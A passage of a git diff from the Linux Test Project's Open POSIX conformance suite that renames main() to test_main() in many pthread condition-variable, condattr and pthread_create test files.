6db86395..dfe9a21b 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_signal/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_signal/2-1.c @@ -94,7 +94,7 @@ static void *thr_func(void *arg PTS_ATTRIBUTE_UNUSED) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct timespec completion_wait_ts = {0, 100000}; int i; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_signal/2-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_signal/2-2.c index 375afdbd..ed26c087 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_signal/2-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_signal/2-2.c @@ -93,7 +93,7 @@ static void *thr_func(void *arg PTS_ATTRIBUTE_UNUSED) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct timespec completion_wait_ts = {0, 100000}; int i; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_signal/4-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_signal/4-1.c index 54d3a1b8..b05bca0c 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_signal/4-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_signal/4-1.c @@ -73,7 +73,7 @@ static void *thr_func(void *arg PTS_ATTRIBUTE_UNUSED) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct timespec completion_wait_ts = {0, 100000}; int i, rc; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_signal/4-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_signal/4-2.c index 39fc0a08..897c775a 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_signal/4-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_signal/4-2.c @@ -217,7 +217,7 @@ static void *worker(void *arg PTS_ATTRIBUTE_UNUSED) } /* Main function */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; pthread_t th_waiter, th_worker, th_sig1, th_sig2; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/1-1.c index 5673887c..d38b8f29 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/1-1.c @@ -76,7 +76,7 @@ static void *t1_func(void *arg) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t thread1; struct timespec thread_start_ts = {0, 100000}; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/2-1.c index abad5fd2..afc2d3d2 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/2-1.c @@ -95,7 +95,7 @@ static void *t1_func(void *arg) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t thread1; struct timespec thread_start_ts = {0, 100000}; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/2-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/2-2.c index c5c5097f..38c0e0a2 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/2-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/2-2.c @@ -74,7 +74,7 @@ static void *t1_func(void *arg) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t thread1; void *th_ret; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/2-3.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/2-3.c index e01115ab..fb372e78 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/2-3.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/2-3.c @@ -65,7 +65,7 @@ static void *t1_func(void *arg) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t thread1; int rc; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/2-4.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/2-4.c index 13aef05f..c458fe6b 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/2-4.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/2-4.c @@ -235,7 +235,7 @@ static void *tf(void *arg) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; unsigned int i; @@ -628,7 +628,7 @@ int main(void) } #else /* WITHOUT_XOPEN */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { output_init(); UNTESTED("This test requires XSI features"); diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/2-5.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/2-5.c index 0407d683..b0dc3d56 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/2-5.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/2-5.c @@ -161,7 +161,7 @@ static void *threaded(void *arg) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret, j; unsigned int i; @@ -373,7 +373,7 @@ int main(void) } #else /* WITHOUT_XOPEN */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { output_init(); UNTESTED("This test requires XSI features"); diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/2-6.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/2-6.c index b8475067..ba48e78e 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/2-6.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/2-6.c @@ -188,7 +188,7 @@ static void *threaded(void *arg) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; unsigned int i; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/2-7.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/2-7.c index e3ad4507..d71d7bc6 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/2-7.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/2-7.c @@ -241,7 +241,7 @@ static void *tf(void *arg) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct timespec wait_ts; int ret; @@ -632,7 +632,7 @@ int main(void) } #else /* WITHOUT_XOPEN */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { output_init(); UNTESTED("This test requires XSI features"); diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/3-1.c index 33146ebb..db5d50f7 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/3-1.c @@ -80,7 +80,7 @@ static void *t1_func(void *arg) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t thread1; struct timespec thread_start_ts = {0, 100000}; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/4-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/4-1.c index e49117e0..af0e1f68 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/4-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/4-1.c @@ -63,7 +63,7 @@ static void *t1_func(void *arg) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t thread1; void *th_ret; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/4-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/4-2.c index 6c0ec8e7..226faa8b 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/4-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/4-2.c @@ -187,7 +187,7 @@ static void *tf(void *arg) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret, k; unsigned int i, j; @@ -616,7 +616,7 @@ int main(void) } #else /* WITHOUT_XOPEN */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { output_init(); UNTESTED("This test requires XSI features"); diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/4-3.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/4-3.c index 305ab045..17c14c52 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/4-3.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/4-3.c @@ -231,7 +231,7 @@ static void *worker(void *arg) } /* Main function */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; pthread_t th_waiter, th_worker, th_sig1, th_sig2; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_wait/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_wait/1-1.c index fd275292..9cc54502 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_wait/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_wait/1-1.c @@ -64,7 +64,7 @@ static void *t1_func(void *arg PTS_ATTRIBUTE_UNUSED) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct timespec completion_wait_ts = {0, 100000}; struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_wait/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_wait/2-1.c index 8ee37f1f..e9bb3e03 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_wait/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_wait/2-1.c @@ -77,7 +77,7 @@ static void *t1_func(void *arg PTS_ATTRIBUTE_UNUSED) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct timespec completion_wait_ts = {0, 100000}; struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_wait/2-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_wait/2-2.c index fd2f9035..57648745 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_wait/2-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_wait/2-2.c @@ -252,7 +252,7 @@ static void *tf(void *arg) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret, i; pthread_mutexattr_t ma; @@ -645,7 +645,7 @@ int main(void) } #else /* WITHOUT_XOPEN */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { output_init(); UNTESTED("This test requires XSI features"); diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_wait/2-3.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_wait/2-3.c index eaa24888..de8ed409 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_wait/2-3.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_wait/2-3.c @@ -199,7 +199,7 @@ static void *threaded(void *arg PTS_ATTRIBUTE_UNUSED) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret, i; void *rc; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_wait/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_wait/3-1.c index e9dec867..e119d337 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_wait/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_wait/3-1.c @@ -74,7 +74,7 @@ static void *t1_func(void *arg PTS_ATTRIBUTE_UNUSED) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_wait/4-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_wait/4-1.c index 30f8a636..833d3548 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_wait/4-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_wait/4-1.c @@ -240,7 +240,7 @@ static void *worker(void *arg PTS_ATTRIBUTE_UNUSED) } /* Main function */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; pthread_t th_waiter, th_worker, th_sig1, th_sig2; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_destroy/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_destroy/1-1.c index 25242b37..fc5bc75a 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_destroy/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_destroy/1-1.c @@ -19,7 +19,7 @@ #include <errno.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_condattr_t condattr; int rc; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_destroy/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_destroy/2-1.c index 3c902a49..85062ae7 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_destroy/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_destroy/2-1.c @@ -23,7 +23,7 @@ #include <errno.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_condattr_t condattr; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_destroy/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_destroy/3-1.c index af93d2e3..5128ba92 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_destroy/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_destroy/3-1.c @@ -21,7 +21,7 @@ #include <errno.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_condattr_t condattr; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_destroy/4-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_destroy/4-1.c index 6205d8d2..868bb9be 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_destroy/4-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_destroy/4-1.c @@ -23,7 +23,7 @@ #include <errno.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_condattr_t *condattr = NULL; int rc; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_getclock/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_getclock/1-1.c index adede97b..c4fc41dc 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_getclock/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_getclock/1-1.c @@ -20,7 +20,7 @@ #include <stdio.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_condattr_t condattr; clockid_t clockid; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_getclock/1-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_getclock/1-2.c index 0271e4a8..e7b9cf41 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_getclock/1-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_getclock/1-2.c @@ -21,7 +21,7 @@ #include <stdio.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_condattr_t condattr; clockid_t clockid; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_getpshared/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_getpshared/1-1.c index 36bc7849..0d12bcad 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_getpshared/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_getpshared/1-1.c @@ -24,7 +24,7 @@ #define NUM_OF_CONDATTR 10 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { /* Make sure there is process-shared capability. */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_getpshared/1-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_getpshared/1-2.c index 1ac27495..41372b0e 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_getpshared/1-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_getpshared/1-2.c @@ -24,7 +24,7 @@ #define NUM_OF_CONDATTR 10 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { /* Make sure there is process-shared capability. */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_getpshared/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_getpshared/2-1.c index 6db9fd4b..b893605a 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_getpshared/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_getpshared/2-1.c @@ -20,7 +20,7 @@ #include <stdio.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { /* Make sure there is process-shared capability. */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_init/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_init/1-1.c index 63a6c279..7d16410a 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_init/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_init/1-1.c @@ -20,7 +20,7 @@ #include <stdio.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_condattr_t condattr; int rc; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_init/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_init/3-1.c index bfc3c305..05fec5e5 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_init/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_init/3-1.c @@ -19,7 +19,7 @@ #include <errno.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_condattr_t condattr; int rc; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_setclock/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_setclock/1-1.c index f1b7a5b5..ef60e30e 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_setclock/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_setclock/1-1.c @@ -21,7 +21,7 @@ #include <stdio.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_condattr_t condattr; int rc; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_setclock/1-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_setclock/1-2.c index 2d0d365f..4770e641 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_setclock/1-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_setclock/1-2.c @@ -25,7 +25,7 @@ #include <time.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_condattr_t condattr; struct timespec ts; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_setclock/1-3.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_setclock/1-3.c index 27efa291..ad9a7b81 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_setclock/1-3.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_setclock/1-3.c @@ -26,7 +26,7 @@ #include <time.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { #if _POSIX_CPUTIME == -1 diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_setclock/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_setclock/2-1.c index 814fd03a..ef053a01 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_setclock/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_setclock/2-1.c @@ -28,7 +28,7 @@ #define INVALID_CLOCKID -100 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_condattr_t condattr; int rc; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_setpshared/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_setpshared/1-1.c index cc463aa7..7f466320 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_setpshared/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_setpshared/1-1.c @@ -31,7 +31,7 @@ #define NUM_OF_CONDATTR 10 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { /* Make sure there is process-shared capability. */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_setpshared/1-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_setpshared/1-2.c index 0d691fac..936755f1 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_setpshared/1-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_setpshared/1-2.c @@ -31,7 +31,7 @@ #define NUM_OF_CONDATTR 10 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { /* Make sure there is process-shared capability. */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_setpshared/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_setpshared/2-1.c index 0d626144..28e97b6e 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_setpshared/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_setpshared/2-1.c @@ -27,7 +27,7 @@ #define INVALID_PSHARED_VALUE -100 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { /* Make sure there is process-shared capability. */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/1-1.c index d30e6a1a..141503f3 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/1-1.c @@ -29,7 +29,7 @@ static void *a_thread_func() return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t main_th, new_th; int ret, ppid; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/1-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/1-2.c index 120f21d0..5f27f1c9 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/1-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/1-2.c @@ -33,7 +33,7 @@ static void *a_thread_func() return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t new_th; int ret; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/1-3.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/1-3.c index 2fecdd19..04bfcb73 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/1-3.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/1-3.c @@ -32,7 +32,7 @@ static void alarm_handler(); static pthread_t a; -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/1-5.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/1-5.c index 33c5b5cb..92c9d5d8 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/1-5.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/1-5.c @@ -82,7 +82,7 @@ /********************************************************************************************/ /*********************************** Test cases *****************************************/ /********************************************************************************************/ -#define STD_MAIN /* This allows main() to be defined in the included file */ +#define STD_MAIN /* This allows test_main() to be defined in the included file */ #include "../testfrmw/threads_scenarii.c" /* This file will define the following objects: diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/1-6.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/1-6.c index 8c1239e2..842dc3fb 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/1-6.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/1-6.c @@ -228,7 +228,7 